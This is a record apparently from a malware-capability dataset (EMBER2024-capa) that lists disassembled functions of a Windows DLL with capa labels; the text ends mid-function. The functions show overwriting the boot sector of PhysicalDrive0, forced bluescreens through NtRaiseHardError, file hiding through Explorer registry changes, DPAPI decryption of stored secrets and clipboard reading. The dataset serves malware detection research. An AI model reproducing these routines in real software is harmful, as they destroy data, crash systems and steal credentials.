joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10021030
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
test esi, esi
je 0x1002105b
mov edx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10021044
pop edi
mov eax, edx
pop esi
pop ebp
ret
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret

Function at 0x100230c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
push edi
push 0
push 2
mov edi, edx
mov dword [ebp - 0x45c], ebx
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 7
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002314a
lea eax, [ebp - 0x458]
mov dword [ebp - 0x458], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10023143
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp dword [ebp - 0x450], edi
je 0x1002315d
lea eax, [ebp - 0x458]
push eax
push esi
call ebx
test eax, eax
jne 0x10023127
mov ebx, dword [ebp - 0x45c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x440]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1002313d
lea eax, [ebp - 0x460]
mov dword [ebp - 0x460], 0x104
push eax
lea eax, [ebp - 0x210]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x10023244
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x218], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x214], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100231c6
sub ecx, edx
lea eax, [ebp - 0x210]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.10051fd0
mov ebx, dword [ebp - 0x45c]
lea eax, [ebp - 0x228]
push eax
mov ecx, ebx
call fcn.100522e0
mov edx, dword [ebp - 0x214]
cmp edx, 8
jb 0x1002324a
mov ecx, dword [ebp - 0x228]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1002322e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10023256
push edx
push ecx
call fcn.1011a823
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10023143
mov ebx, dword [ebp - 0x45c]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10023143
call fcn.10125fc5
int3
Function at 0x10026880
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x128], eax
push esi
lea eax, [esp + 0x20]
mov esi, ecx
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x10026921
lea ecx, [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 0x18], eax
lea edx, [ecx + 1]
mov dword [esp + 0x1c], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100268d0
sub ecx, edx
lea eax, [esp + 0x20]
push ecx
push eax
lea ecx, [esp + 0x10]
call fcn.10056190
push 0x18
lea eax, [esp + 0xc]
mov dword [esi], 0
push eax
push esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.1011b630
add esp, 0xc
mov eax, esi
pop esi
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push 0
push 0x1018dee3
mov ecx, esi
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
call fcn.10056190
mov ecx, dword [esp + 0x12c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret

Function at 0x10026960
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x128], eax
push esi
lea eax, [esp + 0x20]
mov esi, ecx
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x10026a01
lea ecx, [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 0x18], eax
lea edx, [ecx + 1]
mov dword [esp + 0x1c], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100269b0
sub ecx, edx
lea eax, [esp + 0x20]
push ecx
push eax
lea ecx, [esp + 0x10]
call fcn.10056190
push 0x18
lea eax, [esp + 0xc]
mov dword [esi], 0
push eax
push esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.1011b630
add esp, 0xc
mov eax, esi
pop esi
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push 0
push 0x1018dee3
mov ecx, esi
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
call fcn.10056190
mov ecx, dword [esp + 0x12c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
Function at 0x10026a40
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [edx + 0x14], 0x10
push ebx
push esi
push edi
mov edi, ecx
jb 0x10026a5d
mov edx, dword [edx]
push 0
push 0x80
push 3
push 0
push 1
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
cmp ebx, 0xffffffff
jne 0x10026ab2
push 0x1018dee3
mov ecx, edi
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
call fcn.10056190
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, 0xffffffff
jne 0x10026aff
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x1018dee3
mov ecx, edi
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
call fcn.10056190
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push 0
push esi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
call fcn.100527f0
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x24]
push 0
push ecx
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x10026b84
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], eax
jne 0x10026b84
push 0x18
lea eax, [ebp - 0x1c]
mov dword [edi], 0
push eax
push edi
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.1011b630
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push 0
push 0x1018dee3
mov ecx, edi
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
call fcn.10056190
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x10026bd6
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10026bcc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10026be9
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x10026bf0
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10052c90
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x2c]
push 0
push 0
push ecx
push 0
push 1
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x28], 0
cmovae eax, dword [ebp - 0x1c]
push 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x10026d10
mov ecx, dword [ebp - 0x2c]
cmp ecx, 5
jbe 0x10026d10
mov edi, dword [ebp - 0x24]
mov esi, edi
mov edx, dword [ebp - 0x28]
sub esi, edx
cmp ecx, esi
jae 0x10026c74
lea eax, [edx + ecx]
mov dword [ebp - 0x24], eax
jmp 0x10026ca6
jbe 0x10026ca6
mov eax, dword [ebp - 0x20]
sub eax, edx
cmp ecx, eax
jbe 0x10026c8b
push ecx
push ecx
lea ecx, [ebp - 0x28]
call fcn.1005f3a0
jmp 0x10026ca3
sub ecx, esi
lea esi, [edi + ecx]
mov eax, esi
sub eax, edi
push eax
push 0
push edi
call fcn.1011ce00
add esp, 0xc
mov dword [ebp - 0x24], esi
mov edx, dword [ebp - 0x28]
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x2c]
push 0
push 0
push ecx
push edx
push 1
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push 0
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x10026d10
mov eax, dword [ebp - 0x28]
add eax, 5
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffffb
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x10026d10
push 8
call fcn.1011a4d9
mov esi, eax
add esp, 4
mov eax, dword [ebp - 0x38]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esi], eax
jmp 0x10026d12
xor esi, esi
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x10026d5b
mov edx, dword [ebp - 0x20]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10026d3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10026ddf
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x10026d8b
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10026d81
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10026ddf
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp edx, 0x10
jb 0x10026dcd
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10026dc3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10026ddf
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x1002eee0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0xf8], eax
push esi
mov esi, ecx
push ecx
lea ecx, [esp + 0xc]
call fcn.10050070
lea eax, [esp + 0xb8]
mov dword [esp + 0xb8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x1002efe8
mov ecx, dword [esp + 0xc0]
mov eax, dword [esp + 0xc4]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [esp + 0x20]
call fcn.10050350
mov edx, 0x1018e188
mov ecx, eax
call fcn.10059140
mov ecx, dword [esp + 0xc0]
sub ecx, dword [esp + 0xc8]
mov eax, dword [esp + 0xc4]
sbb eax, dword [esp + 0xcc]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [esp + 0x20]
call fcn.10050350
mov edx, 0x1018e188
mov ecx, eax
call fcn.10059140
mov ecx, dword [esp + 0xe0]
mov eax, dword [esp + 0xe4]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [esp + 0x20]
call fcn.10050350
mov edx, 0x1018e188
mov ecx, eax
call fcn.10059140
mov ecx, dword [esp + 0xe0]
sub ecx, dword [esp + 0xe8]
mov eax, dword [esp + 0xe4]
sbb eax, dword [esp + 0xec]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [esp + 0x20]
call fcn.10050350
push esi
lea ecx, [esp + 0xc]
call fcn.1004ffd0
lea ecx, [esp + 8]
call fcn.10024230
mov ecx, dword [esp + 0xfc]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
Function at 0x10031630
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x1003168b
mov dword [esi], 0
mov ecx, esi
push 0
mov dword [esi + 0x10], 0
push 0x1018ed8c
mov dword [esi + 0x14], 7
call fcn.10051fd0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x10031655
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x10031655
mov ecx, edx
mov dword [esp + 0xc], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 7
lea ebx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100316c3
sub ecx, ebx
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x14]
call fcn.10051fd0
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x18
lea eax, [esp + 0x10]
mov dword [esi], 0
push eax
push esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.1011b630
mov ecx, dword [esp + 0x30]
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
Function at 0x100333f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x10033454
push esi
push edi
mov ecx, 0x80
lea edi, [ebp - 0x204]
mov esi, 0x10194c98
rep movsd dword es:[edi], dword [esi]
push 0
lea ecx, [ebp - 0x208]
push ecx
push 0x200
lea ecx, [ebp - 0x204]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
Function at 0x10034100
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x1c]
cmp edi, 8
cmovae ecx, esi
cmp ebx, 8
jne 0x1003414d
push ebx
mov edx, str.shutdown
call fcn.10056450
add esp, 4
test eax, eax
jne 0x1003414d
push eax
push 0xc
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.shutdown.exe__s__t_00__f
call fcn.1012453c
add esp, 4
jmp 0x1003422f
cmp edi, 8
lea ecx, [ebp + 8]
cmovae ecx, esi
cmp ebx, 7
jne 0x10034188
push ebx
mov edx, str.restart
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10034188
push eax
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.shutdown.exe__r__t_00__f
call fcn.1012453c
add esp, 4
jmp 0x1003422f
cmp edi, 8
lea ecx, [ebp + 8]
cmovae ecx, esi
cmp ebx, 3
jne 0x100341c0
push ebx
mov edx, 0x1018fcc8
call fcn.10056450
add esp, 4
test eax, eax
jne 0x100341c0
push eax
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.shutdown.exe__l__t_00__f
call fcn.1012453c
add esp, 4
jmp 0x1003422f
cmp edi, 8
lea ecx, [ebp + 8]
cmovae ecx, esi
cmp ebx, 0xa
jne 0x10034235
push ebx
mov edx, str.bluescreen
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10034235
push str.RtlAdjustPrivilege
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtRaiseHardError
push str.ntdll.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov esi, eax
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 8]
push eax
push 6
push 0
push 0
push 0
push 0xc00002b4
call esi
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0x1c]
cmp edi, 8
jb 0x10034265
lea edi, [edi*2 + 2]
mov eax, esi
cmp edi, 0x1000
jb 0x1003425b
mov esi, dword [esi - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003426c
push edi
push esi
call fcn.1011a823
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x10035300
Capabilities:
Check if file exists
Get file attributes
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10148790
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x101a49d4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov bl, cl
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 8
cmovae esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1003535f
test bl, bl
je 0x10035354
or eax, 6
jmp 0x10035357
and eax, 0xfffffff9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x14]
push eax
push 0x202
push 0
push 0x1018fd70
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100353bc
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.ShowSuperHidden
push dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call esi
push 4
lea eax, [ebp - 0x18]
push eax
push 4
push 0
push str.Hidden
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x10035444
lea edx, [edx*2 + 2]
mov ecx, dword [ebp + 8]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003543a
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035456
jmp 0x1003543a
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
call fcn.10021260
int3
Function at 0x10039a80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x70], eax
push esi
mov esi, ecx
lea ecx, [esp + 0x20]
call fcn.1004f260
cmp word [esi], 0
mov eax, esi
je 0x10039ab9
nop dword [eax + eax]
add eax, 2
cmp word [eax], 0
jne 0x10039ab0
push eax
push esi
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x2c]
call fcn.10054f70
mov ecx, esi
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp dword [esp + 0x1c], 0x10
lea ecx, [esp + 8]
push 0
cmovae ecx, dword [esp + 0xc]
push 0x101abc54
push dword [esp + 0x20]
mov dword [0x101a6320], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x101a6320]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x1c]
cmp edx, 0x10
jb 0x10039b4e
mov ecx, dword [esp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10039b44
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039b7c
push edx
push ecx
call fcn.1011a823
add esp, 8
lea ecx, [esp + 0x20]
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0xf
mov byte [esp + 8], 0
call fcn.1004f1a0
mov ecx, dword [esp + 0x74]
pop esi
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
int3
Function at 0x1003c9d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
lea edi, [eax*2 + 2]
jb 0x1003c9ea
mov esi, dword [esi]
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x1003c9f5
mov eax, dword [eax]
cmp dword [edx + 0x14], 8
jb 0x1003c9fd
mov edx, dword [edx]
push edi
push esi
push 2
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
pop edi
sete al
pop esi
pop ebp
ret

Function at 0x1003ca70
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [edx + 0x14], 8
jb 0x1003ca7e
mov edx, dword [edx]
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1003cb5d
mov edi, dword [ebp + 8]
mov eax, edi
cmp dword [edi + 0x14], 8
jb 0x1003caa9
mov eax, dword [edi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp - 8]
push ecx
push 0
lea ecx, [ebp - 0xc]
push ecx
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jne 0x1003cb54
push dword [ebp - 8]
call fcn.1011a831
add esp, 4
mov ebx, eax
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x1003cae0
mov eax, dword [edi]
lea ecx, [ebp - 8]
push ecx
push ebx
lea ecx, [ebp - 0xc]
push ecx
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jne 0x1003cb4b
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 8
jb 0x1003cb00
mov eax, dword [eax]
push dword [ebp - 8]
push ebx
push dword [ebp - 0xc]
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push ebx
mov esi, eax
call fcn.1011a2ef
add esp, 4
test esi, esi
jne 0x1003cb4b
cmp dword [edi + 0x14], 8
jb 0x1003cb2a
mov edi, dword [edi]
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
test esi, esi
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call fcn.1011a2ef
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100419f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
mov edi, ecx
push 7
push 0x1018ecb4
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
call fcn.10051fd0
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemBIOS
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10041ba0
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push str.SystemProductName
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10041b97
mov eax, dword [ebp - 8]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
test eax, eax
je 0x10041a94
push eax
lea ecx, [ebp - 0x20]
call fcn.1005d480
push dword [ebp - 0x10]
mov esi, dword [ebp - 0x20]
push ebx
push esi
call fcn.1011ce00
mov ebx, dword [ebp - 0x18]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0
push str.SystemProductName
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10041b6b
mov eax, dword [ebp - 8]
mov ecx, edi
shr eax, 1
push eax
push esi
call fcn.10051fd0
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
mov dword [ebp - 4], eax
jb 0x10041ae1
mov edx, dword [edi]
lea ecx, [eax + eax]
add edx, ecx
mov dword [ebp - 0x10], edx
mov edx, dword [edi]
lea eax, [ecx + edx]
mov ecx, dword [ebp - 0x10]
jmp 0x10041ae9
lea ecx, [edi + eax*2]
mov edx, edi
lea eax, [edi + eax*2]
mov dword [ebp - 0x10], ecx
cmp edx, eax
je 0x10041afd
cmp word [edx], 0
je 0x10041afd
add edx, 2
cmp edx, eax
jne 0x10041af0
cmp dword [edi + 0x14], 8
mov eax, edx
jb 0x10041b15
sub eax, dword [edi]
sar eax, 1
sub ecx, edx
mov edx, dword [edi]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
jmp 0x10041b2b
mov ecx, dword [ebp - 0x10]
sub eax, edi
sar eax, 1
sub ecx, edx
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, edx
mov dword [ebp - 4], edx
mov edx, edi
sub eax, dword [ebp - 0xc]
sar ecx, 1
cmp eax, ecx
cmovb ecx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
lea ecx, [edx + eax*2]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
sub ecx, edx
mov dword [edi + 0x10], ecx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 0xc]
lea eax, [eax*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.1011b630
add esp, 0xc
test esi, esi
je 0x10041b95
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
